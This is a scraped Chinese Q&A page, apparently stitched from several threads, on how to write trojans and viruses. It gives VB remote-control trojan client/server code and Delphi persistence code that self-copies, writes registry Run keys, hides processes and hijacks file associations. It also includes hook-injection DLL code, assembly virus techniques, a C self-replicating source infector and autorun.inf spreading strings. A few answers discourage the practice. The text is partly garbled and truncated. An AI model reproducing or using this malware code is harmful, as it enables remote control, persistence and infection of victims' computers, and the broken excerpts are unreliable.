木马程序怎么编写
要想编写木马程序,你首先知道你自己的IP地址是多少,然后可以让木马自动连接你的电脑。
怎样编写木马程序?我不用,只想知道
看看这个,是用VB编的木马程序
1.“特洛伊木马”有被称为BO, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。
使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
Private Sub cmdConnect_Click()
If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
MsgBox ("请输入主机名或主机IP地址。")
Exit Sub
Else
If Len(Text1.Text) 0 Then
tcpClient.RemoteHost = Text1.Text
Else
tcpClient.RemoteHost = Text2.Text
End If
End If
tcpClient.Connect
Timer1.Enabled = True
End Sub
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:
Private Sub Form_Load()
tcpServer.LocalPort = 1999
tcpServer.Listen
End Sub
准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:
Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
If tcpServer.State sckClosed Then
tcpServer.Close‘检查控件的 State 属性是否为关闭的。
End If ’如果不是,在接受新的连接之前先关闭此连接。
tcpServer.Accept requestID
End Sub
这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。
2. 建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:
Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)
Dim strData As String
Dim i As Long
Dim mKey As String
tcpServer.GetData strData
‘接收数据并存入strData
For i = 1 To Len(strData)
‘分离strData中的命令
If Mid(strData, i, 1) = "@" Then
mKey = Left(strData, i - 1)
‘把命令ID号存入mKey
‘把命令参数存入strData
strData = Right(strData, Len(strData) - i)
Exit For
End If
Next i
Select Case Val(mKey)
Case 1
‘驱动器名、目录名、文件名
Case 2
强制关闭服务器端的计算机
Case 3
强制重启服务器端的计算机
Case 4
屏蔽任务栏窗口;
Case 5
屏蔽开始菜单;
Case 6
按照客户机端传过来的文件名或目录名,而删除它;
Case 7
屏蔽热启动键;
Case 8
运行服务器端的任何程序
End Select
End Sub
详细程序略。
客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:
Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。
如何制造木马病毒
如何制造木马病毒
问题一:怎么制作木马病毒,望详细你的基本功很差,如果你真的想学,我给你教一种,你制作一个桌面快捷关机,然后用QICQ给对方发去,只要对方打开,对方页面会出现一个对话框,对话框里写着60秒自动关机,对方无论如何都关不了那个对话框,他的机子就要关机了,你可以附加文字,比如说“叫爷,不叫60秒关机。”对方以为是病都,呵呵!这个简单吧!你应该会作吧!shutdown.exe-S-T60-C叫爷,不叫关机。有啥不懂的追问我,现把你那5分给我,再追问我。
问题二:我想做个简单的木马病毒,怎么做,用什么软件你好!这就需要用到一款远程控制软件,例如灰鸽子等等有了这款远控软件需要有一个自己的动态域名然后用动态域名在远程控制软件上生成一个木马病毒这样你就可以发给别人,别人中罚木马病毒之后他的电脑完全就会被控制你就可以对他的电脑重启、关机等操作了不过我劝你最好还是打消这个念头即便是你拥有了远程控制软件成功生成了木马病毒给别人发过去也是无法起到任何作用的原因就是木马病毒不是免杀的现在的杀毒软件不是吃素的如果不是免杀的病毒给别人发过去杀毒软件立马就查杀了没什么作用最重要的就是你做的病毒免杀对方的杀毒软件查杀不出来是病毒这样就可以了但是不要抱幻想网上绝对不会出现免杀远控的有的打着名字的旗号捆绑后门病毒试想一下别人辛辛苦苦制作出来的免杀远控会轻易的给别人或者发布到网上么?况且免杀病毒最好不要发到网上否则能免杀一个星期左右的病毒发到网上估计第二天就被杀了本人纯手打觉得有帮助请采纳谢谢!!
问题三:木马病毒是怎么制造出来的呢?木马病毒就是一种程序,这种程序专偷染上病毒电脑的用户名和密码,从而盗取金钱!
问题四:怎么制作木马病毒5分这是个比较复杂的问题,病毒开发不同于普通应用开发,需要更广泛的和更深入的编成技术系统底层问题:截取屏幕、Hook鼠标键盘网络问题:涉及到拦截数据报文,加解密数据反侦测问题:隐藏进程…………学编程2~3个月,用Delphi之类的软件,一般就可以开发普通应用程序VC++最多6个月,也能搞出些东西但要搞病毒木马等,先学3年再考虑。
问题五:怎样制造一个木马病毒5分其实木马病毒也是我们程序员写出的一个程序,因为这个程序制作的目的,和工作的原理具有破坏性和感染性,所以就被定性为木马和病毒。
另外木马和病毒不是一个概念。
学习软件编程就可以制作木马。
淡然有一些黑客软件也是可以直接生成木马的,这个比较没有技术含量。一般会操作电脑的人都可以制作,这类木马一般很容易被查杀。要做加壳程序以逃避查杀。
问题六:怎么制造简单木马病毒朋友,你好!
怎么解答你这个问题我想了半天,一条一条来吧。
1、制作木马病毒是非法的,真心的奉劝不要参与制作,不要与法律要求所背驰。如果因为这个事
情,你被抓进去,你想想你的家庭会怎样?是不是得不偿失?
2、广大网民一定要有一个好的上网习惯,还要有一个好的上网环境,在安全软件的使用上多思考。建议大家使用腾讯电脑管家,他有全国最大最全的钓鱼网站、木马网站数据库,可以有效防止大家被骗。
问题七:木马病毒怎么制作你懂的电脑程序编程吗,其实所谓的木马病毒也就是非法程序,如果你不懂编程和你说是对牛弹琴,不要害人了~还是研究一下怎么把你的人生搞个木马吧,让自己多活几年长命百岁吧!(忠告哦!)
问题八:木马病毒怎么制作佛日不能说不可说不敢说,说就是错。
问题九:怎么制作木马病毒先下几个木马病毒
怎么编写木马程序?请各位大哥大姐们指点一二,越详细越好,小弟一点不懂编程哦!
其实做这个很简单的,现在我感觉做木马关键在于创意了 我电脑中收集过的一篇文章,给你参考一下 “冰河”启示录 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域,我们理应宁可自制力让我们的预见力保持寂寞,也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3 (1) “冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发. 一、程序安装 此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看. 1:自我拷贝法 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]'\' then Result := Result + '\'; end; 另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法. 一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改dpr项目文件,修改begin和end之间的代码如下: begin Application.Initialize; if FindWindow('TForm1','Form1')=0 then begin //当没有找到Form1时执行下面代码 Application.ShowMainForm:=False; //不显示主窗口 Application.CreateForm(TForm1, Form1); Application.Run; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用这种方法的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. 方法如下:修改dpr项目文件 uses Forms,windows,messages, Unit1 in 'Unit1.pas' {Form1}; 为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TForm1.FormCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao, ,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可. (2) “冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: uses Registry procedure TForm1.FormCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //写注册表,让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao, } WriteString( '', application.ExeName+' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //写注册表,每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);" 改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll, 否则会因为关联Exe文件而退不出Windows. 启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了
怎么做木马?
问题一:怎么制作木马程序? 你需要学会编程才能编写木马编写木马最好用vc++。enet/eschool/video/c++/ 这是c++的教程,你学懂了这些皮毛的东西再深入研究内核编程吧如果上面的地址打不开可以到这里pconline/pcedu/empolder/gj/vc/0607/820674
问题二:木马和病毒是怎么做出来的呢? 哈哈...木马和病毒都属于执行程序...
木马(Trojan)这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。
“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。“木马”与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。
它是指通过一段特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是客户端,即控制端,另一个是服务端,即被控制端。植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了! 木马的设计者为了防止木马被发现,而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接,其控制端将享有服务端的大部分操作权限,例如给计算机增加口令,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等。
随着病毒编写技术的发展,木马程序对用户的威胁越来越大,尤其是一些木马程序采用了极其狡猾的手段来隐蔽自己,使普通用户很难在中毒后发觉。
木马得种类
1. 网络游戏木马
随着网络在线游戏的普及和升温,我国拥有规模庞大的网游玩家。网络游戏中的金钱、装备等虚拟财富与现实财富之间的界限越来越模糊。与此同时,以盗取网游帐号密码为目的的木马病毒也随之发展泛滥起来。
网络游戏木马通常采用记录用户键盘输入、Hook游戏进程API函数等方法获取用户的密码和帐号。窃取到的信息一般通过发送电子邮件或向远程脚本程序提交的方式发送给木马作者。
网络游戏木马的种类和数量,在国产木马病毒中都首屈一指。流行的网络游戏无一不受网游木马的威胁。一款新游戏正式发布后,往往在一到两个星期内,就会有相应的木马程序被制作出来。大量的木马生成器和黑客网站的公开销售也是网游木马泛滥的原因之一。
2. 网银木马
网银木马是针对网上交易系统编写的木马病毒,其目的是盗取用户的卡号、密码,甚至安全证书。此类木马种类数量虽然比不上网游木马,但它的危害更加直接,受害用户的损失更加惨重。
网银木马通常针对性较强,木马作者可能首先对某银行的网上交易系统进行仔细分析,然后针对安全薄弱环节编写病毒程序。如2004年的“网银大盗”病毒,在用户进入工行网银登录页面时,会自动把页面换成安全性能较差、但依然能够运转的老版页面,然后记录用户在此页面上填写的卡号和密码;“网银大盗3”利用招行网银专业版的备份安全证书功能,可以盗取安全证书;2005年的“新网银大盗”,采用API Hook等技术干扰网银登录安全控件的运行。
随着我国网上交易的普及,受到外来网银木马威胁的用户也在不断增加。
3. 即时通讯软件木马
现在,国内即时通讯软件百花齐放。QQ、新浪UC、网易泡泡、盛大圈圈……网上聊天的用户群十分庞大。常见的即时通讯类木马一般有3种:
一、发送消息型。通过即时通讯软件自动发送含有恶意网址的消息,目的在于让收到消息的用户......
问题三:怎么制作简单木马? 一个简单的vc++6.0下的木马源码 木马源程序,包括客户端和服务端PCSshare的客户端代码:
#include stdafx.h
#include SshWork.h
#pragma data_seg(Shared)
char m_CharFileName[256] = {0};
HHOOK g_hook = NULL;
HHOOK g_khook = NULL;
INITDLLINFO m_InitInfo = {0};
BOOL m_IsOk = FALSE;
#pragma data_seg()
#pragma ment(linker,/section:Shared,rws)
HINSTANCE ghInstance = NULL;
SshWork m_Work;
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
case DLL_PROCESS_ATTACH:
ghInstance = (HINSTANCE) hModule;
break;
default : break;
}
return TRUE;
}
LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hook, nCode, wParam, lParam);
查看是否为指定进程
if(!m_IsOk m_InitInfo.m_ProcessId == GetCurrentProcessId())
{
找到指定进程取消hook
m_IsOk = TRUE;
if(g_hook) UnhookWindowsHookEx(g_hook);
通知主进程退出
HANDLE m_WaitEvent =
OpenEvent(EVENT_ALL_ACCESS,FALSE,
m_InitInfo.m_EventName);
if(m_WaitEvent)
{
SetEvent(m_WaitEvent);
CloseHandle(m_WaitEvent);
}
Sleep(1000);
装载DLL到进程
m_Work.m_Module = LoadLibrary(m_InitInfo.m_StartFile);
if(m_Work.m_Module)
{
m_Work.StartWork(m_InitInfo);
}
}
return lResult;
}
BOOL PlayWork(LPINIT......
问题四:木马病毒怎样制作 上网先学学把,别自己先中毒了,网上就有代码下载的
问题五:怎么制作木马病毒 5分 这是个比较复杂的问题,病毒开发不同于普通应用开发,需要更广泛的和更深入的编成技术 系统底层问题:截取屏幕、Hook鼠标键盘 网络问题:涉及到拦截数据报文,加解密数据 反侦测问题:隐藏进程…………学编程2~3个月,用Delphi之类的软件,一般就可以开发普通应用程序 VC++最多6个月,也能搞出些东西 但要搞病毒木马等,先学3年再考虑。
问题六:怎么做木马? 木马是内行的 但是你做木马 不要涉及财物之类的
盗取财物就涉及违法了
一般木马中毒都是通过下载软件,浏览未知网页
Trojan一词的特洛伊木马本意是特洛伊的,指特洛伊木马,是木马计的故事
木马会盗取你的账号,信息等资料
如果电脑中了木马建议尽快杀毒以免造成系统问题
可以先做一次全盘杀毒
然后针对性的:
腾讯电脑管家--工具箱--木马克星 (针对于杀了又出现的顽固病毒)
最后开启实时防毒保护。
问题七:怎么制作简单的木马程序 您好
1,制作木马和使用木马病毒都是违法犯罪的行为,不建议您去学习。
2,制作出木马病毒程序后,这个程序就会自动开始执行,对您的电脑首先开始盗取帐号木马以及破坏程序。
3,所以如果自己受到了攻击或者盗号,不要用这种方式,要以正当途径来解决。
4,建议您到腾讯电脑管家官网下载一个电脑管家。
5,电脑管家拥有16层实时防护功能和QQ帐号全景防御系统,可以从上网安全、应用入口、系统底层等全方位保护电脑安全不受木马病毒侵袭,而且电脑管家还可以全方位多维度保护账号安全,精确打击盗号木马,瞬时查杀并对风险预警。
如果还有其他疑问和问题,欢迎再次来电脑管家企业平台进行提问,我们将尽全力为您解答疑难
问题八:如何做远程控制的木马? 配置一个动态域名,然后设置客户端,通过漏洞发送,进行远程控制,建议你看看动画教程,以前的灰鸽子什么的是个经典,先把那个研究透了什么都会了
怎么编写病毒程序
问题一:如何编写程序病毒? 那首先要对系统底层的东西比较熟悉,如果编网络病毒,还要对网络协议很了解。并且要精通至少一门编程语言,一般写病毒用a *** (汇编语言)的比较多,用其他也可以,比如vbs(vb脚本语言)或者.bat的海处理,都可以。如果写unix 类系统的病毒用c语言的多一些。但汇编知识是写高级病毒必须的知识。
问题二:如何写一个简单的病毒程序? 前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了。但是我现在学了入门才发现这门技术实际上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无法达到“牛”的境界上去。如今写了这篇文章,介绍的都是相当实用的东西,可以让你少走许多弯路(有时侯一个错误够你找几个小时的)。不过需要些基础知识才能看懂。假如你有天知识储备够了,不学学病毒将是你的遗憾。另,由于是写给协会会员参考的,也没写的多“专业”,多了些赘述。
在你看之前,你应该知道这只是篇可以带你入门的文章,如果你已经会了就不用看了。看的时候最好准备个PE表在旁边。写病毒程序可以使用很多种语言来写比如C,汇编,甚至有人用Dephi这样可视化编程工具都能写出来。但是最适合写病毒程序的还是汇编语言。汇编语言底层,灵活,速度快,体积小的优势能将一个病毒程序发挥到极至,通常一个程序写出来才几千字节就包含了所有的功能。一般一个病毒都有如下几个功能:
一 代码重定位
二 自己找到所需API地址
三 搜索文件、目录
四 感染文件
五 破坏系统或文件(随便你了)
其中一,二项功能是必要的,五项功能是可选的。而一个病毒程序感染文件的功能是它的核心,是衡量它质量的重要标准。
(一)代码的重定位
一个变量或函数其实是一个内存地址,在编译好后,程序中的指令通过变量或函数的内存地址再去存取他们,这个地址是个绝对地址。如果你将代码插入到其他任何地方,再通过原来编译时产生的地址去找他们就找不到了,因为他们已经搬家了。但是,你在写程序时考虑到这个问题,你就可以在代码最开始,放上几行代码取得程序基地址,以后变量和函数作为偏移地址,显式的加上这个基地址就能顺利找到了,这就是重定位。就象这段代码。
Call getbaseaddress
Getbaseaddress:pop ebx
Sub ebx,offset getbaseaddress
Mov eax,dword ptr [ebx+Var1]
如果你使用宏汇编语言写病毒,请尽量使用ebx做基地址指针,不要使用ebp,因为ebp在调用带参数的函数时会改变。
(二)自己取得所需的API地址
一个win32程序文件,所调用的API函数地址,是由系统填入到程序文件中描述各类数据位置的数据结构中的。而病毒作为一个残废是享受不到这个待遇的。因为你在把病毒的代码插入目标程序时没有把这些描述数据存放位置的数据结构信息也弄进去。它 *** 入到其他目标程序后就成了只有代码的残废儿童:(所以作为一个残废儿童,应当自力更生。自己搜寻自己需要的API地址。目标程序文件就包含了我们需要的东西,我们需要自己去找。目标程序文件只要还是win32程序,它的地址空间中就包含的有Kernel32.dll。如果找到了它,我们就能找到其他任何的东东。第一步,搜寻kernel32.dll的基地址。当然了,整个地址空间有4GB,可供搜索的用户进程空间也有2GB。在2GB中搜索,太吓人了。总不能在执行被感染的目标程序时,先让用户喝杯茶吧?或者斗斗地主?这里有两个技巧向大家介绍。
在程序被加载后,加载程序会调用程序的主线程的第一条指令的位置。它使用的指令是CALL,就是说,你程序还没执行,堆栈区里就有了一个返回地址了,这个返回地址指向的是加载程序,而加载程序是包含在KERNEL32.dll中的,我们顺着它向上找,就能找到kernel32.dll的基地址了。当然也不是一个字节一个字节的挨者找,而是一个页面一个页面地找。因为win3......
问题三:怎么用C语言写个简单病毒,给个代码过程 首先声明:
本程序是我举的一个例子
为了叫大家理解就可以了
如果大家拿去捉弄人,我不负任何责任!
希望大家要以学习为重!
对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的
我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享
不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定
用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题,
再次声明这一切全是为了编程研究!!!
病毒的特点:
病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式
病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。
从程序的角度来说,我们要做的事情有两件:
1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,
使它具备继续复制的能力。
2,在一定条件下使其产生某种发作效果。
其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染
文件的最后,同时在被感染文件中调用这个函数
下面给出c语言的实现过程:
1,主程序调用病毒功能函数
2,病毒功能函数读取查找同目录下所有c文件;
3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;
4,重新创建一个同名文件(被感染c文件)
5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数
调用语句写入;
6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;
这样一个简单的c语言伪病毒virus.c就完成了
运行程序后其内容变化另保存为after_virus.c
此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果
他们一运行又感染了他们保存1.c文件目录下所有c文件
对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你
完全可以写一个TSR驻留函数
其实,这个程序勉强可以叫做病毒
根本不算是真正的病毒,好了就说这么多,
代码如下:
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus=virus.c;
char buf[50][80];
char *p;
char *end=return;
char *bracket=};
char *main=main;
char *include[2]={stdio.h,dir.h};
char *int_virus=int virus();
char *buffer;
int done,i,j=0,flag=0;
printf(\nI have a virus. Writen by PuBin\n);
done = findfirst(*.c,ffblk,0);
while (!done)
{
i=0;
if ((in = fope......
问题四:病毒一般用什么语言编写的? 由于现在大多数的所谓的黑客都没有真正的技术,他们的木马都是利用别人编写的木马生成程序生成的,只要一点就好了!~~现在流行的木马有VB、E语言、pascal(注意Delphy不是一门语言,而是pascal语言的编辑器,就像C++跟VC++之间的关系)等,大量用他们编写的原因并不是他们有多好,只不过是他们简单易学!所以只要你有技术,用什么程序写不重要,条条大路通罗马!
问题五:怎样编写简单,对系统无害的病毒文件? 双击这个文件后就会关机,无毒无害。
这是代码:
@echo off
cd/
shutdown -s -t 0 -c Loading Installation,Please Wait...
那个0是打开这个文件后多少秒关机(0就是立即关机,10就是打开文件10秒后关机), 引号中的字(Loading Installation,Please Wait...)可以随意更改(只是引号里面的,别把引号给删了)。
问题六:怎样编写病毒 3.1.1病毒程序VIRUS.C
这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:
当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则
(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。
(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。
(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。
(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。
其中用到4个出错的返回值,分别是:
1:用户文件太大,不传染;
2:带病毒文件打不开,不传染;
3:带病毒文件读取不成功,不传染;
4:查找第一个匹配文件不成功。
如果返回值是0代表文件传染成功。
具体实现过程如下:
其中用到的函数和结构体用法参考3.3节。
首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。
然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。
如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。
如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。
然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。
这点是这样实现的:定义一个字符数组char include_h[]=; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,......
问题七:怎么用C语言编写木马.病毒等程序 嘿嘿给你个类病毒C程序源码,看下方法吧 #define SVCHOST_NUM 6
#include
#include
char *autorun={[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\mand=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\mand=SVCHOST.exe\nshellexecute=SVCHOST.exe};
char *files_autorun[10]={c:\\autorun.inf,d:\\autorun.inf,e:\\autorun.inf};
